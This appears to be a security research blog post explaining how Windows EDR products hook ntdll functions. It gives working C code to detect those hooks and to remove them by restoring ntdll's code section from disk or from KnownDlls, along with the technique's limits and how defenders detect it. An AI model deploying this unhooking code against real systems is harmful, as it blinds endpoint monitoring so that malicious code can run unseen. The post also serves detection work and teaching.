Unhooking ntdll: removing EDR's eyes

How userland hooks work, how to remove them, and why the technique is less effective than the blogs suggest.

Oct 31, 2026·14 min read·Research difficulty·Lab derived
Share
  • #EDR Evasion
  • #Unhooking
  • #ntdll
  • #Hooks
  • #Windows

§How userland hooks work

EDR injects a DLL into every process. That DLL patches the first bytes of sensitive ntdll exports (NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory, etc.) with a jump to the EDR's inspection code. When your code calls `NtAllocateVirtualMemory`, it hits the hook, the EDR inspects the arguments, and if approved, calls the original function.

The patch is typically 5 bytes: `E9 xx xx xx xx` (jmp relative) or `4C 8B D1 E9` (mov r10, rcx; jmp). The original bytes are saved somewhere in the EDR DLL's memory.

§Detection of hooks

c
#include <windows.h>
#include <stdio.h>

void check_hook(const char *name) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    void *fn = GetProcAddress(ntdll, name);
    unsigned char *p = (unsigned char *)fn;
    // a hooked function starts with E9 (jmp) or 4C 8B D1 E9
    if (p[0] == 0xE9) {
        printf("%s: HOOKED (jmp)\n", name);
    } else if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xE9) {
        printf("%s: HOOKED (mov+jmp)\n", name);
    } else {
        printf("%s: clean (%02x %02x %02x %02x)\n", name, p[0], p[1], p[2], p[3]);
    }
}

§Unhooking: restore from a clean copy

The most reliable unhooking method: read a fresh copy of ntdll from disk (which is not hooked, since the EDR only hooks the in-memory copy) and overwrite the hooked bytes.

c
#include <windows.h>
#include <stdio.h>

int unhook_ntdll() {
    // 1. open ntdll.dll from disk
    HANDLE file = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (file == INVALID_HANDLE_VALUE) return 1;

    DWORD size = GetFileSize(file, NULL);
    void *disk = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    DWORD read;
    ReadFile(file, disk, size, &read, NULL);
    CloseHandle(file);

    // 2. parse PE to find .text section in both disk and memory copies
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)disk;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)disk + dos->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

    void *mem_ntdll = GetModuleHandleA("ntdll.dll");
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) != 0) continue;

        // 3. make memory copy writable
        void *mem_text = (BYTE*)mem_ntdll + sec->VirtualAddress;
        void *disk_text = (BYTE*)disk + sec->PointerToRawData;
        size_t sz = sec->Misc.VirtualSize;
        DWORD old;
        VirtualProtect(mem_text, sz, PAGE_EXECUTE_READWRITE, &old);

        // 4. overwrite hooked bytes with clean bytes
        memcpy(mem_text, disk_text, sz);

        // 5. restore protection
        VirtualProtect(mem_text, sz, PAGE_EXECUTE_READ, &old);
        break;
    }

    VirtualFree(disk, 0, MEM_RELEASE);
    return 0;
}

§Why it's less effective than the blogs suggest

  1. 01**ETW TI still fires**: unhooking ntdll in userland does not disable kernel ETW events. The EDR's kernel driver still sees the syscall.
  1. 01**The unhook itself is a detection**: an EDR monitoring `VirtualProtect` on ntdll's `.text` section will flag the unhook attempt. Some EDRs (CrowdStrike) specifically detect ntdll restoration.
  1. 01**Known DLLs / cached copies**: Windows caches ntdll in the "KnownDlls" object directory. Reading from disk gives the same bytes as the cached copy, but EDRs can verify the in-memory copy against the cached copy.
  1. 01**Hook restoration**: some EDRs (SentinelOne) periodically re-hook ntdll, so your unhook is temporary.
  1. 01**Multiple hook layers**: some EDRs hook at the syscall level (kernel) in addition to userland, making userland unhooking irrelevant.

§Alternative: fresh ntdll via section mapping

Instead of reading from disk, map a fresh copy from `\KnownDlls\ntdll.dll` using `NtCreateSection` + `NtMapViewOfSection`. This avoids file I/O (which EDRs monitor) but still triggers ETW.

c
// conceptual: map fresh ntdll from KnownDlls
HANDLE section;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&section, SECTION_ALL_ACCESS, &oa);
void *fresh_base = NULL;
SIZE_T view_size = 0;
NtMapViewOfSection(section, GetCurrentProcess(), &fresh_base, 0, 0, NULL, &view_size, ViewShare, 0, PAGE_EXECUTE_READ);

§Detection (defender side)

  • Monitor `VirtualProtect` on ntdll's `.text` section → unhooking attempt.
  • ETW: `NtMapViewOfSection` mapping ntdll from `\KnownDlls` → fresh copy load.
  • Compare in-memory ntdll bytes against the on-disk/cached copy → detect tampering.
  • Behavioral: a process that unloads and reloads ntdll is suspicious.

§Takeaway

Unhooking is a cat-and-mouse game where the mouse is losing. It defeats userland-only EDRs, fails against ETW-enabled ones, and the unhook itself is a detection. Use it as one layer in a defense-in-depth evasion strategy, not as the strategy. The real question is not "how to unhook" but "whether your target EDR relies on userland hooks at all." "

MJ

Written by

MJ — offensive security researcher

I break things in a lab so defenders can build better controls. Everything published here is lab-derived, responsibly disclosed, and documented with the detection path in mind.

Next dispatch

One long-form entry, roughly twice a month.

Root cause, reproduction, and the detection path — the same standard every time.